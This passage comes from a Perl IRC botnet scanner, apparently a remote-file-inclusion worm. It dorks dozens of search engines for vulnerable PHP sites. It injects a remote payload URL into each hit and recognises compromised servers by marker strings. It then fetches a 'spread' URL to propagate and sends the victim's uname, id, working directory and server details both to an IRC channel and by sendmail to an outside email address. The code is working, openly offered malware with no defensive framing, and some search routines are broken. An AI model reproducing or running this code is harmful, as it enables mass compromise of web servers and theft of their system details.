stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );


}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}


if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @webdelist=&web($dork);
push(my @tot, @webdelist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [9Web4De9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 9Web4De8 0finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @sclist=&search($dork);
	my @schlist=&searchcom($dork);
push(my @tot, @sclist,@schlist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [11Sea4rch9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 11Sea4rch8 finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}

if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @hotb=&hotbot($dork);
push(my @tot, @hotb);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [6Hot4Bot9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 6Hot4Bot8 finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
	my @baidulist=&baidu($dork);
push(my @tot, @baidulist);
my @puliti=&unici(@tot);
stampa($sk, "PRIVMSG $canale :9 [2Bai7du9] 12Total:13 ".scalar(@tot)." 7>> 11Cleaned:5 ".scalar(@puliti)." 0Sites! ");

my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){
}
if ($contatore==$uni-1){
stampa($sk, "PRIVMSG $canale : 2Bai7du8 finished scanning 0$dork");
}
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /SmokeS/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);

stampa($sk, "PRIVMSG $adm :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :9,2[4OFF9] 8$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: OFF\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:OFF]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

}
}
elsif($re =~ /SmokeS/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);

stampa($sk, "PRIVMSG $adm :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :4,0[9ON4] 5$print ");
stampa($sk, "PRIVMSG $canale :1,5[8$alb1]");
stampa($sk, "PRIVMSG $canale :9[4up:15$alb29] 9- 9[4id:15$alb39] 9- 9[4pwd:15 $alb49] 9- 9[4os:15$alb59] 9- 9[4PHPV:15 $alb69]");
stampa($sk, "PRIVMSG $canale :9[4IP:15$alb79] 9- 9[4Server:15$alb89] 9- 9[4SPREAD:15$test29]");

open ( MAIL, "| /usr/lib/sendmail -t" );
print MAIL "From: ON\@target.com\n";
print MAIL "To: markantil\@yahoo.com\n";
print MAIL "Subject: [SafeMode:ON]\n\n";
print MAIL " $print \n";
print MAIL "\n.\n";
close ( MAIL );

my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}
}
}}}
exit;
}}


sub os(){
my $sito=$_[0];
my $Res=query($sito);
my $type;
my $free;
my $str;
while($Res=~m/<br>uname -a:(.+?)\<br>/g){
$alb=$1;
}
while($Res=~m/<br>uptime:(.+?)\<br>/g){
$alb2=$1;
}
while($Res=~m/<br>id:(.+?)\<br>/g){
$alb3=$1;
}
while($Res=~m/<br>pwd:(.+?)\<br>/g){
$alb4=$1;
}
while($Res=~m/<br>SoftWare:(.+?)\<br>/g){
$alb5=$1;
}
while($Res=~m/<br>PHPV:(.+?)\<br>/g){
$alb6=$1;
}
while($Res=~m/<br>ServerAddr:(.+?)\<br>/g){
$alb7=$1;
}
while($Res=~m/<br>ServerName:(.+?)\<br>/g){
$alb8=$1;
}
while($Res=~m/<br>os:(.+?)\<br>/g){
$os=$1;
}
while($Res=~m/<br>Free:(.+?)\<br>/g){
$free=$1;
}
$str=$type.",".$free;
return $str;
}


sub googlet {
my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","es","fi","fr","fo","gr","com.hk","ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","ro","com.sg","com.tr","com.tw","com.ua","co.uk","hu","info","edu");
my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK","ES","FI","FR","FO","GR","HK","IE","IL","IT","JP","KR","LT","LV","NL","PA","PE","PL","PT","RU","RO","SG","TR","TW","UA","HU");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $i (@dominios){
my @lista = google($i,$key,$country[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}

sub google(){
my @lst;
my $i=$_[0];
my $key=$_[1];
my $country =$_[2];
for($b=0;$b<=100;$b+=100){
my $Go=("www.google.".$i."/search?hl=en&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub allthewebt {
my @lang = ("en","es","de","nl","pt-BR","it","de","fo","fr","sv");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $lang (@lang){
my @lista = alltheweb($key,$lang[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}


sub alltheweb(){
my @lista;
my $key = $_[0];
my $lang= $_[1];
for($b=0;$b<=1000;$b+=100){
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
my $Res=query($alltheweb);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}


sub standard()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}


sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}

sub yahooa(){
my @lst;
my $key = $_[0];
for($b=210;$b<=1000;$b+=210){
my $Ya=("http://fr.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}

sub yahoob(){
my @lst;
my $key = $_[0];
for($b=410;$b<=1000;$b+=210){
my $Ya=("http://nl.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}

sub yahooc(){
my @lst;
my $key = $_[0];
for($b=610;$b<=1000;$b+=210){
my $Ya=("http://at.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);}}
return @lst;}

sub yahood(){
my @lst;
my $key = $_[0];
for($b=810;$b<=1000;$b+=210){
my $Ya=("http://de.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}


sub yahooe(){
my @lst;
my $key = $_[0];
for($b=810;$b<=1000;$b+=210){
my $Ya=("http://ca.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}

sub yahoof(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.nl/search?p=".key($key)."&n=100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}


sub yahoog(){
my @lst;
my $key = $_[0];
for($b=210;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.co.in/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}

sub yahooh(){
my @lst;
my $key = $_[0];
for($b=410;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.at/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}

sub yahooi(){
my @lst;
my $key = $_[0];
for($b=610;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.de/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}

sub yahool(){
my @lst;
my $key = $_[0];
for($b=810;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.co.uk/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=$b");
my $Res=query($Ya);
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
push(@lst,@grep);}}
return @lst;}



sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub msnde(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&go=&first=".$b."=Rechercher&mkt=de-de&scope=&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub msnlive(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://msn.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}



sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub altavistacom(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub altavistade(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub altavistaus(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub kanoodle(){
my $key=$_[0];
my @lst;
for($b=10;$b<=1000;$b+=10){
my $kanoodle=("http://www.kanoodle.com/results.html?query=".$dork."+site%3a".$b."&algo_first=".$start);
my $Res=query($kanoodle);
while ($Res=~ m/<a class=\"footer\" href=\"http:\/\/(.+?)\"\>(.+?)<\/a>/g){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub uolsub() {
    my @lst;
    my $key = $_[0];
    for ( $b = 0 ; $b <= 1000 ; $b += 10 ) {
 my $UoL = ("http://busca.uol.com.br/www/index.html?ref=homeuol&ad=on&y=5&q=i".key($key)."&x=6&start=".$b);
 my $Res = query($UoL);
 while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
     my $k = $1;
     if ( $k !~ /busca|uol|yahoo/ ) {
  my $k    = $1;
  my @grep = links($k);
  push( @lst, @grep );
     }
 }
    }
    return @lst;
}


sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub aska(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://uk.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub askb(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://de.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub abacho(){
my $key=$_[0];
my @lst;
for($b=1;$b<=100;$b+=1){
my $abacho=("http://search.abacho.com/de/abacho.de/index.cfm?offset=".$start."&q=$b".$dork);
my $Res=query($abacho);
while($Res =~ m/<td><a href="http:\/\/(.+?)\/"/g){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub fireball(){
my $key=$_[0];
my @lst;
for($b=1;$b<=200;$b+=10){
my $fireball=("http://suche.fireball.de/cgi-bin/pursuit?pag=$b&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8");
my $Res=query($fireball);
while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub web(){
my $key=$_[0];
my @lst;
for($b=1;$b<=50;$b+=1){
my $web=("http://suche.web.de/search/web/?pageIndex=$b&su=".key($key)."&submit.y=11&submit=Suchen&submit.x=51&webRb=countryDE&mc=suche");
my $Res=query($web);
while($Res =~ m/\"? href=\"?http:\/\/(.+?)\"?/g){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub searchcom(){
my $key=$_[0];
my @lst;
for($b=1;$b<=100;$b+=1){
my $sc=("http://www.search.com/search?q=".key($key)."&nav=$b");
my $Res=query($sc);
while ($Res=~ m/<a href=\"?http:\/\/(.+?)/g ){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}


sub search(){
my $key=$_[0];
my @lst;
for($b=1;$b<=500;$b+=1){
my $sch=("http://www.search.ch/search.html?rank=$b&q=".key($key)."&n=100");
my $Res=query($sch);
while ($Res=~ m/<\/div><a href=\"http:\/\/(.+?)\"/g ){
my $k="$1/";
